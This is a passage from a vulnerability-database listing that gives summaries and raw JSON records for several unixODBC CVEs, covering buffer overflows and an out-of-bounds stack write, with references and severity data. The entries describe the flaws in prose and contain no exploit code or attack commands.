"STATE": "PUBLIC"
},
"affects": {
"vendor": {
"vendor_data": [
{
"product": {
"product_data": [
{
"product_name": "n/a",
"version": {
"version_data": [
{
"version_value": "n/a"
}
]
}
}
]
},
"vendor_name": "n/a"
}
]
}
},
"data_format": "MITRE",
"data_type": "CVE",
"data_version": "4.0",
"description": {
"description_data": [
{
"lang": "eng",
"value": "The SQLWriteFileDSN function in odbcinst/SQLWriteFileDSN.c in unixODBC 2.3.5 has strncpy arguments in the wrong order, which allows attackers to cause a denial of service or possibly have unspecified other impact."
}
]
},
"problemtype": {
"problemtype_data": [
{
"description": [
{
"lang": "eng",
"value": "n/a"
}
]
}
]
},
"references": {
"reference_data": [
{
"name": "https://github.com/lurcher/unixODBC/commit/45ef78e037f578b15fc58938a3a3251655e71d6f#diff-d52750c7ba4e594410438569d8e2963aL24",
"refsource": "MISC",
"url": "https://github.com/lurcher/unixODBC/commit/45ef78e037f578b15fc58938a3a3251655e71d6f#diff-d52750c7ba4e594410438569d8e2963aL24"
},
{
"name": "103193",
"refsource": "BID",
"url": "http://www.securityfocus.com/bid/103193"
},
{
"name": "RHSA-2019:2336",
"refsource": "REDHAT",
"url": "https://access.redhat.com/errata/RHSA-2019:2336"
}
]
}
}
}
},
"cveMetadata": {
"assignerOrgId": "8254265b-2729-46b6-b9e3-3dfca2d5bfca",
"assignerShortName": "mitre",
"cveId": "CVE-2018-7485",
"datePublished": "2018-02-26T14:00:00.000Z",
"dateReserved": "2018-02-26T00:00:00.000Z",
"dateUpdated": "2024-08-05T06:31:03.541Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.1"
}
CVE-2018-7409 (GCVE-0-2018-7409)
Vulnerability from nvd – Published: 2018-02-22 18:00 – Updated: 2024-08-05 06:24
VLAI
EPSS
VEX
Summary
In unixODBC before 2.3.5, there is a buffer overflow in the unicode_to_ansi_copy() function in DriverManager/__info.c.
Severity
No CVSS data available.
CWE
- n/a
Assigner
References
3 references
| URL | Tags |
|---|---|
| http://www.unixodbc.org/unixODBC-2.3.5.tar.gz | x_refsource_MISC |
| https://sourceforge.net/projects/unixodbc/files/u… | x_refsource_MISC |
| https://access.redhat.com/errata/RHSA-2019:2336 | vendor-advisoryx_refsource_REDHAT |
Date Public
2018-02-22 00:00
{
"containers": {
"adp": [
{
"providerMetadata": {
"dateUpdated": "2024-08-05T06:24:11.943Z",
"orgId": "af854a3a-2127-422b-91ae-364da2661108",
"shortName": "CVE"
},
"references": [
{
"tags": [
"x_refsource_MISC",
"x_transferred"
],
"url": "http://www.unixodbc.org/unixODBC-2.3.5.tar.gz"
},
{
"tags": [
"x_refsource_MISC",
"x_transferred"
],
"url": "https://sourceforge.net/projects/unixodbc/files/unixODBC/2.3.5/ChangeLog/download"
},
{
"name": "RHSA-2019:2336",
"tags": [
"vendor-advisory",
"x_refsource_REDHAT",
"x_transferred"
],
"url": "https://access.redhat.com/errata/RHSA-2019:2336"
}
],
"title": "CVE Program Container"
}
],
"cna": {
"affected": [
{
"product": "n/a",
"vendor": "n/a",
"versions": [
{
"status": "affected",
"version": "n/a"
}
]
}
],
"datePublic": "2018-02-22T00:00:00.000Z",
"descriptions": [
{
"lang": "en",
"value": "In unixODBC before 2.3.5, there is a buffer overflow in the unicode_to_ansi_copy() function in DriverManager/__info.c."
}
],
"problemTypes": [
{
"descriptions": [
{
"description": "n/a",
"lang": "en",
"type": "text"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2019-08-06T14:06:12.000Z",
"orgId": "8254265b-2729-46b6-b9e3-3dfca2d5bfca",
"shortName": "mitre"
},
"references": [
{
"tags": [
"x_refsource_MISC"
],
"url": "http://www.unixodbc.org/unixODBC-2.3.5.tar.gz"
},
{
"tags": [
"x_refsource_MISC"
],
"url": "https://sourceforge.net/projects/unixodbc/files/unixODBC/2.3.5/ChangeLog/download"
},
{
"name": "RHSA-2019:2336",
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2019:2336"
}
],
"x_legacyV4Record": {
"CVE_data_meta": {
"ASSIGNER": "cve@mitre.org",
"ID": "CVE-2018-7409",
"STATE": "PUBLIC"
},
"affects": {
"vendor": {
"vendor_data": [
{
"product": {
"product_data": [
{
"product_name": "n/a",
"version": {
"version_data": [
{
"version_value": "n/a"
}
]
}
}
]
},
"vendor_name": "n/a"
}
]
}
},
"data_format": "MITRE",
"data_type": "CVE",
"data_version": "4.0",
"description": {
"description_data": [
{
"lang": "eng",
"value": "In unixODBC before 2.3.5, there is a buffer overflow in the unicode_to_ansi_copy() function in DriverManager/__info.c."
}
]
},
"problemtype": {
"problemtype_data": [
{
"description": [
{
"lang": "eng",
"value": "n/a"
}
]
}
]
},
"references": {
"reference_data": [
{
"name": "http://www.unixodbc.org/unixODBC-2.3.5.tar.gz",
"refsource": "MISC",
"url": "http://www.unixodbc.org/unixODBC-2.3.5.tar.gz"
},
{
"name": "https://sourceforge.net/projects/unixodbc/files/unixODBC/2.3.5/ChangeLog/download",
"refsource": "MISC",
"url": "https://sourceforge.net/projects/unixodbc/files/unixODBC/2.3.5/ChangeLog/download"
},
{
"name": "RHSA-2019:2336",
"refsource": "REDHAT",
"url": "https://access.redhat.com/errata/RHSA-2019:2336"
}
]
}
}
}
},
"cveMetadata": {
"assignerOrgId": "8254265b-2729-46b6-b9e3-3dfca2d5bfca",
"assignerShortName": "mitre",
"cveId": "CVE-2018-7409",
"datePublished": "2018-02-22T18:00:00.000Z",
"dateReserved": "2018-02-22T00:00:00.000Z",
"dateUpdated": "2024-08-05T06:24:11.943Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.1"
}
CVE-2012-2658 (GCVE-0-2012-2658)
Vulnerability from nvd – Published: 2012-08-31 00:00 – Updated: 2024-08-06 19:42 Disputed
VLAI
EPSS
VEX
Summary
Buffer overflow in the SQLDriverConnect function in unixODBC 2.3.1 allows local users to cause a denial of service (crash) via a long string in the DRIVER option. NOTE: this issue might not be a vulnerability, since the ability to set this option typically implies that the attacker already has legitimate access to cause a DoS or execute code, and therefore the issue would not cross privilege boundaries. There may be limited attack scenarios if isql command-line options are exposed to an attacker, although it seems likely that other, more serious issues would also be exposed, and this issue might not cross privilege boundaries in that context.
Severity
No CVSS data available.
CWE
- n/a
Assigner
References
8 references
| URL | Tags |
|---|---|
| http://www.osvdb.org/82460 | vdb-entry |
| https://exchange.xforce.ibmcloud.com/vulnerabilit… | vdb-entry |
| http://www.openwall.com/lists/oss-security/2012/06/06/3 | mailing-list |
| http://www.openwall.com/lists/oss-security/2012/05/30/7 | mailing-list |
| http://www.openwall.com/lists/oss-security/2012/05/31/2 | mailing-list |
| http://www.securityfocus.com/bid/53712 | vdb-entry |
| http://www.openwall.com/lists/oss-security/2012/0… | mailing-list |
| http://www.openwall.com/lists/oss-security/2012/05/29/7 | mailing-list |
Date Public
2012-05-29 00:00
{
"containers": {
"adp": [
{
"providerMetadata": {
"dateUpdated": "2024-08-06T19:42:31.612Z",
"orgId": "af854a3a-2127-422b-91ae-364da2661108",
"shortName": "CVE"
},
"references": [
{
"name": "82460",
"tags": [
"vdb-entry",
"x_transferred"
],
"url": "http://www.osvdb.org/82460"
},
{
"name": "unixodbc-sdc-bo(75940)",
"tags": [
"vdb-entry",
"x_transferred"
],
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/75940"
},
{
"name": "[oss-security] 20120605 Re: CVE id request: Multiple buffer overflow in unixODBC",
"tags": [
"mailing-list",
"x_transferred"
],
"url": "http://www.openwall.com/lists/oss-security/2012/06/06/3"
},
{
"name": "[oss-security] 20120530 Re: CVE id request: Multiple buffer overflow in unixODBC",
"tags": [
"mailing-list",
"x_transferred"
],
"url": "http://www.openwall.com/lists/oss-security/2012/05/30/7"
},
{
"name": "[oss-security] 20120531 Re: CVE id request: Multiple buffer overflow in unixODBC",
"tags": [
"mailing-list",
"x_transferred"
],
"url": "http://www.openwall.com/lists/oss-security/2012/05/31/2"
},
{
"name": "53712",
"tags": [
"vdb-entry",
"x_transferred"
],
"url": "http://www.securityfocus.com/bid/53712"
},
{
"name": "[oss-security] 20120529 Re: CVE id request: Multiple buffer overflow in unixODBC",
"tags": [
"mailing-list",
"x_transferred"
],
"url": "http://www.openwall.com/lists/oss-security/2012/05/29/10"
},
{
"name": "[oss-security] 20120529 CVE id request: Multiple buffer overflow in unixODBC",
"tags": [
"mailing-list",
"x_transferred"
],
"url": "http://www.openwall.com/lists/oss-security/2012/05/29/7"
}
],
"title": "CVE Program Container"
}
],
"cna": {
"affected": [
{
"product": "n/a",
"vendor": "n/a",
"versions": [
{
"status": "affected",
"version": "n/a"
}
]
}
],
"datePublic": "2012-05-29T00:00:00.000Z",
"descriptions": [
{
"lang": "en",
"value": "Buffer overflow in the SQLDriverConnect function in unixODBC 2.3.1 allows local users to cause a denial of service (crash) via a long string in the DRIVER option. NOTE: this issue might not be a vulnerability, since the ability to set this option typically implies that the attacker already has legitimate access to cause a DoS or execute code, and therefore the issue would not cross privilege boundaries. There may be limited attack scenarios if isql command-line options are exposed to an attacker, although it seems likely that other, more serious issues would also be exposed, and this issue might not cross privilege boundaries in that context."
}
],
"problemTypes": [
{
"descriptions": [
{
"description": "n/a",
"lang": "en",
"type": "text"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2023-02-12T00:00:00.000Z",
"orgId": "53f830b8-0a3f-465b-8143-3b8a9948e749",
"shortName": "redhat"
},
"references": [
{
"name": "82460",
"tags": [
"vdb-entry"
],
"url": "http://www.osvdb.org/82460"
},
{
"name": "unixodbc-sdc-bo(75940)",
"tags": [
"vdb-entry"
],
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/75940"
},
{
"name": "[oss-security] 20120605 Re: CVE id request: Multiple buffer overflow in unixODBC",
"tags": [
"mailing-list"
],
"url": "http://www.openwall.com/lists/oss-security/2012/06/06/3"
},
{
"name": "[oss-security] 20120530 Re: CVE id request: Multiple buffer overflow in unixODBC",
"tags": [
"mailing-list"
],
"url": "http://www.openwall.com/lists/oss-security/2012/05/30/7"
},
{
"name": "[oss-security] 20120531 Re: CVE id request: Multiple buffer overflow in unixODBC",
"tags": [
"mailing-list"
],
"url": "http://www.openwall.com/lists/oss-security/2012/05/31/2"
},
{
"name": "53712",
"tags": [
"vdb-entry"
],
"url": "http://www.securityfocus.com/bid/53712"
},
{
"name": "[oss-security] 20120529 Re: CVE id request: Multiple buffer overflow in unixODBC",
"tags": [
"mailing-list"
],
"url": "http://www.openwall.com/lists/oss-security/2012/05/29/10"
},
{
"name": "[oss-security] 20120529 CVE id request: Multiple buffer overflow in unixODBC",
"tags": [
"mailing-list"
],
"url": "http://www.openwall.com/lists/oss-security/2012/05/29/7"
}
],
"tags": [
"disputed"
]
}
},
"cveMetadata": {
"assignerOrgId": "53f830b8-0a3f-465b-8143-3b8a9948e749",
"assignerShortName": "redhat",
"cveId": "CVE-2012-2658",
"datePublished": "2012-08-31T00:00:00.000Z",
"dateReserved": "2012-05-14T00:00:00.000Z",
"dateUpdated": "2024-08-06T19:42:31.612Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.1"
}
CVE-2012-2657 (GCVE-0-2012-2657)
Vulnerability from nvd – Published: 2012-08-31 00:00 – Updated: 2024-08-06 19:42 Disputed
VLAI
EPSS
VEX
Summary
Buffer overflow in the SQLDriverConnect function in unixODBC 2.0.10, 2.3.1, and earlier allows local users to cause a denial of service (crash) via a long string in the FILEDSN option. NOTE: this issue might not be a vulnerability, since the ability to set this option typically implies that the attacker already has legitimate access to cause a DoS or execute code, and therefore the issue would not cross privilege boundaries. There may be limited attack scenarios if isql command-line options are exposed to an attacker, although it seems likely that other, more serious issues would also be exposed, and this issue might not cross privilege boundaries in that context.
Severity
No CVSS data available.
SSVC
Exploitation: none
Automatable: no
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2024-06-26 19:00 UTC
CWE
- n/a
Assigner
References
8 references
| URL | Tags |
|---|---|
| http://www.osvdb.org/82460 | vdb-entry |
| https://exchange.xforce.ibmcloud.com/vulnerabilit… | vdb-entry |
| http://www.openwall.com/lists/oss-security/2012/06/06/3 | mailing-list |
| http://www.openwall.com/lists/oss-security/2012/05/30/7 | mailing-list |
| http://www.openwall.com/lists/oss-security/2012/05/31/2 | mailing-list |
| http://www.securityfocus.com/bid/53712 | vdb-entry |
| http://www.openwall.com/lists/oss-security/2012/0… | mailing-list |
| http://www.openwall.com/lists/oss-security/2012/05/29/7 | mailing-list |
Date Public
2012-05-29 00:00
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2012-2657",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "no"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2024-06-26T19:00:40.470154Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2024-06-26T19:00:49.184Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
},
{
"providerMetadata": {
"dateUpdated": "2024-08-06T19:42:32.111Z",
"orgId": "af854a3a-2127-422b-91ae-364da2661108",
"shortName": "CVE"
},
"references": [
{
"name": "82460",
"tags": [
"vdb-entry",
"x_transferred"
],
"url": "http://www.osvdb.org/82460"
},
{
"name": "unixodbc-sdc-bo(75940)",
"tags": [
"vdb-entry",
"x_transferred"
],
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/75940"
},
{
"name": "[oss-security] 20120605 Re: CVE id request: Multiple buffer overflow in unixODBC",
"tags": [
"mailing-list",
"x_transferred"
],
"url": "http://www.openwall.com/lists/oss-security/2012/06/06/3"
},
{
"name": "[oss-security] 20120530 Re: CVE id request: Multiple buffer overflow in unixODBC",
"tags": [
"mailing-list",
"x_transferred"
],
"url": "http://www.openwall.com/lists/oss-security/2012/05/30/7"
},
{
"name": "[oss-security] 20120531 Re: CVE id request: Multiple buffer overflow in unixODBC",
"tags": [
"mailing-list",
"x_transferred"
],
"url": "http://www.openwall.com/lists/oss-security/2012/05/31/2"
},
{
"name": "53712",
"tags": [
"vdb-entry",
"x_transferred"
],
"url": "http://www.securityfocus.com/bid/53712"
},
{
"name": "[oss-security] 20120529 Re: CVE id request: Multiple buffer overflow in unixODBC",
"tags": [
"mailing-list",
"x_transferred"
],
"url": "http://www.openwall.com/lists/oss-security/2012/05/29/10"
},
{
"name": "[oss-security] 20120529 CVE id request: Multiple buffer overflow in unixODBC",
"tags": [
"mailing-list",
"x_transferred"
],
"url": "http://www.openwall.com/lists/oss-security/2012/05/29/7"
}
],
"title": "CVE Program Container"
}
],
"cna": {
"affected": [
{
"product": "n/a",
"vendor": "n/a",
"versions": [
{
"status": "affected",
"version": "n/a"
}
]
}
],
"datePublic": "2012-05-29T00:00:00.000Z",
"descriptions": [
{
"lang": "en",
"value": "Buffer overflow in the SQLDriverConnect function in unixODBC 2.0.10, 2.3.1, and earlier allows local users to cause a denial of service (crash) via a long string in the FILEDSN option. NOTE: this issue might not be a vulnerability, since the ability to set this option typically implies that the attacker already has legitimate access to cause a DoS or execute code, and therefore the issue would not cross privilege boundaries. There may be limited attack scenarios if isql command-line options are exposed to an attacker, although it seems likely that other, more serious issues would also be exposed, and this issue might not cross privilege boundaries in that context."
}
],
"problemTypes": [
{
"descriptions": [
{
"description": "n/a",
"lang": "en",
"type": "text"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2023-02-12T00:00:00.000Z",
"orgId": "53f830b8-0a3f-465b-8143-3b8a9948e749",
"shortName": "redhat"
},
"references": [
{
"name": "82460",
"tags": [
"vdb-entry"
],
"url": "http://www.osvdb.org/82460"
},
{
"name": "unixodbc-sdc-bo(75940)",
"tags": [
"vdb-entry"
],
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/75940"
},
{
"name": "[oss-security] 20120605 Re: CVE id request: Multiple buffer overflow in unixODBC",
"tags": [
"mailing-list"
],
"url": "http://www.openwall.com/lists/oss-security/2012/06/06/3"
},
{
"name": "[oss-security] 20120530 Re: CVE id request: Multiple buffer overflow in unixODBC",
"tags": [
"mailing-list"
],
"url": "http://www.openwall.com/lists/oss-security/2012/05/30/7"
},
{
"name": "[oss-security] 20120531 Re: CVE id request: Multiple buffer overflow in unixODBC",
"tags": [
"mailing-list"
],
"url": "http://www.openwall.com/lists/oss-security/2012/05/31/2"
},
{
"name": "53712",
"tags": [
"vdb-entry"
],
"url": "http://www.securityfocus.com/bid/53712"
},
{
"name": "[oss-security] 20120529 Re: CVE id request: Multiple buffer overflow in unixODBC",
"tags": [
"mailing-list"
],
"url": "http://www.openwall.com/lists/oss-security/2012/05/29/10"
},
{
"name": "[oss-security] 20120529 CVE id request: Multiple buffer overflow in unixODBC",
"tags": [
"mailing-list"
],
"url": "http://www.openwall.com/lists/oss-security/2012/05/29/7"
}
],
"tags": [
"disputed"
]
}
},
"cveMetadata": {
"assignerOrgId": "53f830b8-0a3f-465b-8143-3b8a9948e749",
"assignerShortName": "redhat",
"cveId": "CVE-2012-2657",
"datePublished": "2012-08-31T00:00:00.000Z",
"dateReserved": "2012-05-14T00:00:00.000Z",
"dateUpdated": "2024-08-06T19:42:32.111Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.1"
}
CVE-2024-1013 (GCVE-0-2024-1013)
Vulnerability from cvelistv5 – Published: 2024-03-18 10:53 – Updated: 2026-11-05 11:39
VLAI
EPSS
VEX
Title
Unixodbc: out of bounds stack write due to pointer-to-integer types conversion
Summary
An out-of-bounds stack write flaw was found in unixODBC on 64-bit architectures where the caller has 4 bytes and callee writes 8 bytes. This issue may go unnoticed on little-endian architectures, while big-endian architectures can be broken.
Severity
7.8 (High)
SSVC
Exploitation: none
Automatable: no
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2024-04-25 17:35 UTC
CWE
- CWE-823 - Use of Out-of-range Pointer Offset
Assigner
References
3 references
| URL | Tags |
|---|---|
| https://access.redhat.com/security/cve/CVE-2024-1013 | vdb-entryx_refsource_REDHAT |
| https://bugzilla.redhat.com/show_bug.cgi?id=2260823 | issue-trackingx_refsource_REDHAT |
| https://github.com/lurcher/unixODBC/pull/157 |
Impacted products
4 products
| Vendor | Product | Version | |
|---|---|---|---|
| Red Hat | Red Hat Enterprise Linux 6 |
cpe:/o:redhat:rhel_els:6
|
|
| Red Hat | Red Hat Enterprise Linux 7 |
cpe:/o:redhat:rhel_els:7
|
|
| Red Hat | Red Hat Enterprise Linux 8 |
cpe:/a:redhat:enterprise_linux:8
|
|
| Red Hat | Red Hat Enterprise Linux 9 |
cpe:/a:redhat:enterprise_linux:9
|
Date Public
2024-03-18 00:00
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2024-1013",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "no"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2024-04-25T17:35:03.363603Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2024-06-04T18:00:42.304Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
},
{
"providerMetadata": {
"dateUpdated": "2024-08-01T18:26:30.429Z",
"orgId": "af854a3a-2127-422b-91ae-364da2661108",
"shortName": "CVE"
},
"references": [
{
"tags": [
"vdb-entry",
"x_refsource_REDHAT",
"x_transferred"
],
"url": "https://access.redhat.com/security/cve/CVE-2024-1013"
},
{
"name": "RHBZ#2260823",
"tags": [
"issue-tracking",
"x_refsource_REDHAT",
"x_transferred"
],
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2260823"
},
{
"tags": [
"x_transferred"
],
"url": "https://github.com/lurcher/unixODBC/pull/157"
}
],
"title": "CVE Program Container"
}
],
"cna": {
"affected": [
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/o:redhat:rhel_els:6"
],
"defaultStatus": "unknown",
"packageName": "unixODBC",
"product": "Red Hat Enterprise Linux 6",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/o:redhat:rhel_els:7"
],
"defaultStatus": "unknown",
"packageName": "compat-unixODBC234",
"product": "Red Hat Enterprise Linux 7",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/o:redhat:rhel_els:7"
],
"defaultStatus": "unknown",
"packageName": "unixODBC",
"product": "Red Hat Enterprise Linux 7",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:enterprise_linux:8"
],
"defaultStatus": "unaffected",
"packageName": "unixODBC",
"product": "Red Hat Enterprise Linux 8",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:enterprise_linux:9"
],
"defaultStatus": "unaffected",
"packageName": "unixODBC",
"product": "Red Hat Enterprise Linux 9",
"vendor": "Red Hat"
}
],
"datePublic": "2024-03-18T00:00:00.000Z",
"descriptions": [
{
"lang": "en",
"value": "An out-of-bounds stack write flaw was found in unixODBC on 64-bit architectures where the caller has 4 bytes and callee writes 8 bytes. This issue may go unnoticed on little-endian architectures, while big-endian architectures can be broken."
}
],
"metrics": [
{
"other": {
"content": {
"namespace": "https://access.redhat.com/security/updates/classification/",
"value": "Moderate"
},
"type": "Red Hat severity rating"
}
},
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "HIGH",
"baseScore": 7.8,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "LOW",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"format": "CVSS"
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-823",
"description": "Use of Out-of-range Pointer Offset",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-11-05T11:39:54.268Z",
"orgId": "53f830b8-0a3f-465b-8143-3b8a9948e749",
"shortName": "redhat"
},
"references": [
{
"tags": [
"vdb-entry",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/security/cve/CVE-2024-1013"
},
{
"name": "RHBZ#2260823",
"tags": [
"issue-tracking",
"x_refsource_REDHAT"
],
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2260823"
},
{
"url": "https://github.com/lurcher/unixODBC/pull/157"
}
],
"timeline": [
{
"lang": "en",
"time": "2024-01-29T00:00:00.000Z",
"value": "Reported to Red Hat."
},
{
"lang": "en",
"time": "2024-03-18T00:00:00.000Z",
"value": "Made public."
}
],
"title": "Unixodbc: out of bounds stack write due to pointer-to-integer types conversion",
"x_generator": {
"engine": "cvelib 1.8.0"
},
"x_redhatCweChain": "CWE-823: Use of Out-of-range Pointer Offset"
}
},
"cveMetadata": {
"assignerOrgId": "53f830b8-0a3f-465b-8143-3b8a9948e749",
"assignerShortName": "redhat",
"cveId": "CVE-2024-1013",
"datePublished": "2024-03-18T10:53:02.506Z",
"dateReserved": "2024-01-29T08:43:03.223Z",
"dateUpdated": "2026-11-05T11:39:54.268Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2011-1145 (GCVE-0-2011-1145)
Vulnerability from cvelistv5 – Published: 2019-11-14 01:01 – Updated: 2024-08-06 22:14
VLAI
EPSS
VEX
Summary
The SQLDriverConnect() function in unixODBC before 2.2.14p2 have a possible buffer overflow condition when specifying a large value for SAVEFILE parameter in the connection string.
Severity
No CVSS data available.
CWE
- Buffer Overflow
Assigner
References
4 references
| URL | Tags |
|---|---|
| https://security-tracker.debian.org/tracker/CVE-2… | x_refsource_MISC |
| https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2… | x_refsource_MISC |
| https://bugzilla.suse.com/show_bug.cgi?id=CVE-2011-1145 | x_refsource_MISC |
| https://access.redhat.com/security/cve/cve-2011-1145 | x_refsource_MISC |
{
"containers": {
"adp": [
{
"providerMetadata": {
"dateUpdated": "2024-08-06T22:14:27.892Z",
"orgId": "af854a3a-2127-422b-91ae-364da2661108",
"shortName": "CVE"
},
"references": [
{
"tags": [
"x_refsource_MISC",
"x_transferred"
],
"url": "https://security-tracker.debian.org/tracker/CVE-2011-1145"
},
{
"tags": [
"x_refsource_MISC",
"x_transferred"
],
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2011-1145"
},
{
"tags": [
"x_refsource_MISC",
"x_transferred"
],
"url": "https://bugzilla.suse.com/show_bug.cgi?id=CVE-2011-1145"
},
{
"tags": [
"x_refsource_MISC",
"x_transferred"
],
"url": "https://access.redhat.com/security/cve/cve-2011-1145"
}
],
"title": "CVE Program Container"
}
],
"cna": {
"affected": [
{
"product": "unixodbc",
"vendor": "unixodbc",
"versions": [
{
"status": "affected",
"version": "before 2.2.14p2"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "The SQLDriverConnect() function in unixODBC before 2.2.14p2 have a possible buffer overflow condition when specifying a large value for SAVEFILE parameter in the connection string."
}
],
"problemTypes": [
{
"descriptions": [
{
"description": "Buffer Overflow",
"lang": "en",
"type": "text"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2019-11-14T01:01:55.000Z",
"orgId": "53f830b8-0a3f-465b-8143-3b8a9948e749",
"shortName": "redhat"
},
"references": [
{
"tags": [
"x_refsource_MISC"
],
"url": "https://security-tracker.debian.org/tracker/CVE-2011-1145"
},
{
"tags": [
"x_refsource_MISC"
],
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2011-1145"
},
{
"tags": [
"x_refsource_MISC"
],
"url": "https://bugzilla.suse.com/show_bug.cgi?id=CVE-2011-1145"
},
{
"tags": [
"x_refsource_MISC"
],
"url": "https://access.redhat.com/security/cve/cve-2011-1145"
}
]
}
},
"cveMetadata": {
"assignerOrgId": "53f830b8-0a3f-465b-8143-3b8a9948e749",
"assignerShortName": "redhat",
"cveId": "CVE-2011-1145",
"datePublished": "2019-11-14T01:01:55.000Z",
"dateReserved": "2011-03-03T00:00:00.000Z",
"dateUpdated": "2024-08-06T22:14:27.892Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.1"
}
CVE-2018-7485 (GCVE-0-2018-7485)
Vulnerability from cvelistv5 – Published: 2018-02-26 14:00 – Updated: 2024-08-05 06:31
VLAI
EPSS
VEX
Summary
The SQLWriteFileDSN function in odbcinst/SQLWriteFileDSN.c in unixODBC 2.3.5 has strncpy arguments in the wrong order, which allows attackers to cause a denial of service or possibly have unspecified other impact.
Severity
No CVSS data available.
CWE
- n/a
Assigner
References
3 references
| URL | Tags |
|---|---|
| https://github.com/lurcher/unixODBC/commit/45ef78… | x_refsource_MISC |
| http://www.securityfocus.com/bid/103193 | vdb-entryx_refsource_BID |
| https://access.redhat.com/errata/RHSA-2019:2336 | vendor-advisoryx_refsource_REDHAT |
Date Public
2018-02-26 00:00
{
"containers": {
"adp": [
{
"providerMetadata": {
"dateUpdated": "2024-08-05T06:31:03.541Z",
"orgId": "af854a3a-2127-422b-91ae-364da2661108",
"shortName": "CVE"
},
"references": [
{
"tags": [
"x_refsource_MISC",
"x_transferred"
],
"url": "https://github.com/lurcher/unixODBC/commit/45ef78e037f578b15fc58938a3a3251655e71d6f#diff-d52750c7ba4e594410438569d8e2963aL24"
},
{
"name": "103193",
"tags": [
"vdb-entry",
"x_refsource_BID",
"x_transferred"
],
"url": "http://www.securityfocus.com/bid/103193"
},
{
"name": "RHSA-2019:2336",
"tags": [
"vendor-advisory",
"x_refsource_REDHAT",
"x_transferred"
],
"url": "https://access.redhat.com/errata/RHSA-2019:2336"
}
],
"title": "CVE Program Container"
}
],
"cna": {
"affected": [
{
"product": "n/a",
"vendor": "n/a",
"versions": [
{
"status": "affected",
"version": "n/a"
}
]
}
],
"datePublic": "2018-02-26T00:00:00.000Z",
"descriptions": [
{
"lang": "en",
"value": "The SQLWriteFileDSN function in odbcinst/SQLWriteFileDSN.c in unixODBC 2.3.5 has strncpy arguments in the wrong order, which allows attackers to cause a denial of service or possibly have unspecified other impact."
}
],
"problemTypes": [
{
"descriptions": [
{
"description": "n/a",
"lang": "en",
"type": "text"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2019-08-06T14:06:12.000Z",
"orgId": "8254265b-2729-46b6-b9e3-3dfca2d5bfca",
"shortName": "mitre"
},
"references": [
{
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/lurcher/unixODBC/commit/45ef78e037f578b15fc58938a3a3251655e71d6f#diff-d52750c7ba4e594410438569d8e2963aL24"
},
{
"name": "103193",
"tags": [
"vdb-entry",
"x_refsource_BID"
],
"url": "http://www.securityfocus.com/bid/103193"
},
{
"name": "RHSA-2019:2336",
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2019:2336"
}
],
"x_legacyV4Record": {
"CVE_data_meta": {
"ASSIGNER": "cve@mitre.org",
"ID": "CVE-2018-7485",
"STATE": "PUBLIC"
},
"affects": {
"vendor": {
"vendor_data": [
{
"product": {
"product_data": [
{
"product_name": "n/a",
"version": {
"version_data": [
{
